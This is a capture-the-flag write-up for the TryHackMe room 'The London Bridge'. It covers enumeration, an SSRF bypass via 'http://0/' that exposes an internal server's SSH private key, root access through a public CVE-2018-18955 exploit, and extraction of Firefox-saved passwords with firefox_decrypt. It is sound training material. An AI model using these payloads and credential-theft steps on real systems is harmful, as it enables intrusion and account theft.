TryHackMe: The London Bridge
The London Bridge is a TryHackMe Medium machine where we first start by discovering an internal web server through SSRF, finding a .ssh
folder that contains a private key, making it into the machine we discovered that the kernel was vulnerable to CVE-2018-18955
that led to gain root access, once root, we were able to retrieve Charles’ password through a python script that fetches a .mozilla
cache folder and finds passwords.
🔗 Room Link: https://tryhackme.com/r/room/thelondonbridge
Enumeration
Nmap Scan
Starting with an nmap on 10.10.236.6
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ cat bridge.out
# Nmap 7.94SVN scan initiated Wed Sep 25 19:04:10 2024 as: nmap -sC -sV -T4 -oN bridge.out -vv 10.10.236.6
Nmap scan report for 10.10.236.6
Host is up, received conn-refused (0.085s latency).
Scanned at 2024-09-25 19:04:16 CET for 141s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDziNs6aSHIQOJFilv8PhCPd676iD1TrhMYe4p4Mj2E3yaAl4xb8DNT2dhpcv6H8EvtCJnAbXmnFTTOZy14fd7FKc2/Mr4MNLsINFpMU8hc85g6S9ZEnWKlU8dw5jUUeZnAbHSTnq6ARvEbT/Y5seiWEJ7IBiUqptlUA2eiOU7g0DFwrYH7n40aDe0m6PKPIfI9G0XO0cJHISeJ0bsSES1uun2WHLM0sRx+17hrBgM2YfD9OevcltVMlQqWasP9lqf2ooOdBvQTq4eH5UyyuEzaRtQwBYP/wWQEVFacejJE1iT2VD6ZAilhlzo9mww9vqTEwGTvatH65wiyCZHMvrSb
| 256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuZrGZxDIlI4pU1KNZ8A87cWFcgHxRSt7yFgBtJoUQMhNmcw8FSVC54b7sBYXCgBsgISZfWYPjBM9kikh8Jnkw=
| 256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICkCeqFADY/YvhJyJabcs5DVTYbl/DEKEpBoluTuDdB1
8080/tcp open http-proxy syn-ack gunicorn
|_http-server-header: gunicorn
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-title: Explore London
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Wed, 25 Sep 2024 18:04:27 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 2682
[...]
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 25 19:06:37 2024 -- 1 IP address (1 host up) scanned in 146.22 seconds
Looking at the results we get 2 ports open.
- 22/SSH OpenSSH - open
- 80/HTTP Gunicorn - open
Web Application - 8080
Taking a look at http://10.10.236.6:8080
we get a web page.
Trying the links on the top of the page only 2 work, Gallery that redirects to /gallery
and Contact to /contact
, Contact gives us a form to fill which isn’t vulnerable neither to XSS nor to SSTI. Trying Gallery we get the possibility to upload images that will be added to the images already existing.
The first thing that came into our mind is to upload a php file that will get us a reverse shell but that didn’t work even after trying different techniques to bypass the filter in place. Taking a look at the source code of the web page we get a leftover comment.
1
2
3
4
5
6
<form method="POST" action="/upload" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
<!--To devs: Make sure that people can also add images using links-->
</body>
Running a Gobuster
on http://10.10.236.6:8080/
we get a new endpoint, /view_image
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ gobuster dir -u http://10.10.236.6:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -r -b 404,403 -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.236.6:8080/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/contact (Status: 200) [Size: 1703]
/upload (Status: 405) [Size: 178]
/gallery (Status: 200) [Size: 1722]
/feedback (Status: 405) [Size: 178]
/view_image (Status: 405) [Size: 178]
Progress: 119600 / 119601 (100.00%)
===============================================================
Finished
===============================================================
Visiting http://10.10.236.6:8080/view_image
we get a Method Not Allowed
error, running Burpsuite
to test different methods we got something interesting using POST
instead of GET
, the thing the comment was talking about.
Exploitation
Server-side Request Forgery - Beth
Trying to host a python webserver and to submit the url to our php reverse shell hosted file didn’t help us much as we couldn’t get a shell nor execute code. At this point we’re kinda stuck but looking at the user flag hint on the room helps us figuring out what to do.
Check for other parameters that may been left over during the development phase. If one list doesn’t work, try another common one.
First thing we did is to catch the request sent after submiting a URL which should look something like this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /view_image HTTP/1.1
Host: 10.10.236.6:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://10.10.236.6:8080
Connection: close
Referer: http://10.10.236.6:8080/view_image
Upgrade-Insecure-Requests: 1
image_url=test
Looking at the POST request we see a parameter being sent called image_url
so we tried to fuzz for other parameters using ffuf
by replacing the image_url
to FUZZ
, and it worked! we found one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt --request fuzz.req --request-proto http -mc all -fs 823
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.236.6:8080/view_image
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
:: Header : Host: 10.10.236.6:8080
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Connection: close
:: Header : Upgrade-Insecure-Requests: 1
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Origin: http://10.10.236.6:8080
:: Header : Referer: http://10.10.236.6:8080/view_image
:: Data : FUZZ=test
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 823
________________________________________________
www [Status: 500, Size: 290, Words: 37, Lines: 5, Duration: 129ms]
:: Progress: [4688/63088] :: Job [1/1] :: 183 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
We first tried to get a reverse shell using the same technique as before but the web server is still not executing code it displays the file content.
So we decided to try an SSRF and look over the web app through a local perspective and we get a 403 FORBIDDEN
.
Trying different techniques to bypass that we did find one and we succeded finding an internal web server on port 80
, passing http://0/
, which resolves to 0.0.0.0, as www
value was the payload we used.
Next thing to do is to look for directories/files on the web server using ffuf
again.
1
2
3
4
5
6
7
8
9
10
11
12
POST /view_image HTTP/1.1
Host: 10.10.236.6:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
www=http://0/FUZZ
Saving the request into a file and giving it to ffuf
we were able to find different directories & files including a .ssh
which contains a private key!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt --request fuzz.req --request-proto http -mc all -fs 469 -e .php,.html,.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.236.6:8080/view_image
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Host: 10.10.236.6:8080
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Connection: close
:: Header : Upgrade-Insecure-Requests: 1
:: Data : www=http://0/FUZZ
:: Extensions : .php .html .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 469
________________________________________________
templates [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 75ms]
index.html [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 105ms]
uploads [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 139ms]
static [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 372ms]
. [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 294ms]
.cache [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 78ms]
.local [Status: 200, Size: 414, Words: 19, Lines: 18, Duration: 97ms]
.ssh [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 90ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
Taking a look at .ssh
we found both id_rsa
and authorized_keys
which contained a user account name, Beth.
Trying the private key for Beth we were able to get an SSH shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ ssh -i id_rsa beth@10.10.236.6
The authenticity of host '10.10.236.6 (10.10.236.6)' can't be established.
ED25519 key fingerprint is SHA256:ytPniu9JUHpepgFs9WjrDo4KrlD74N5VR4L5MCCx3D8.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:38: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yyes
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.236.6' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Last login: Mon May 13 22:38:30 2024 from 192.168.62.137
beth@london:~$
Once in, we looked for the flag and we found it hidden in __pycache__
.
1
2
3
beth@london:~$ grep -iR thm{
__pycache__/user.txt:THM{REDACTED}
beth@london:~$
Privilege Escalation - Root
After a while of looking for any lateral movement vectors we couldn’t find anything so we looked at the kernel version and it was vulnerable to CVE-2018-18955
.
1
2
beth@london:~$ uname -a
Linux london 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Looking for a POC we found a Github Repository cloning the repo on our machine and getting it on the victime machine we were able to priv esc!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
beth@london:/tmp$ cd CVE-2018-18955/
beth@london:/tmp/CVE-2018-18955$ ls
exploit.bash_completion.sh exploit.dbus.sh exploit.polkit.sh README.md subshell.c
exploit.cron.sh exploit.ldpreload.sh libsubuid.c rootshell.c subuid_shell.c
beth@london:/tmp/CVE-2018-18955$ ./exploit.dbus.sh
[*] Compiling...
[*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 100000
[.] subgid: 100000
[~] done, mapped subordinate ids
[.] executing subshell
[*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 100000
[.] subgid: 100000
[~] done, mapped subordinate ids
[.] executing subshell
[*] Launching dbus service...
Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
[+] Success:
-rwsrwxr-x 1 root root 8392 Sep 27 11:37 /tmp/sh
[*] Cleaning up...
[*] Launching root shell: /tmp/sh
root@london:/tmp/CVE-2018-18955# cat /root/.root.txt
THM{REDACTED}
Mozilla Password Extract - Charles’ Password
Taking a look at charles’ home directory we only found a .mozilla
folder, looking for mozilla passwords extraction over the internet we found this blog. Getting the .mozilla
folder to our machine we ran the python script mentioned on the blog we were able to retrieve Charles’ password successfully!
1
2
3
4
5
6
7
8
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ python3 firefox_decrypt.py .mozilla/firefox/8k3bf3zp.charles
2024-09-27 19:46:07,423 - WARNING - profile.ini not found in .mozilla/firefox/8k3bf3zp.charles
2024-09-27 19:46:07,423 - WARNING - Continuing and assuming '.mozilla/firefox/8k3bf3zp.charles' is a profile location
Website: https://www.buckinghampalace.com
Username: 'Charles'
Password: '[REDACTED]'
and that’s it! the room is officially done.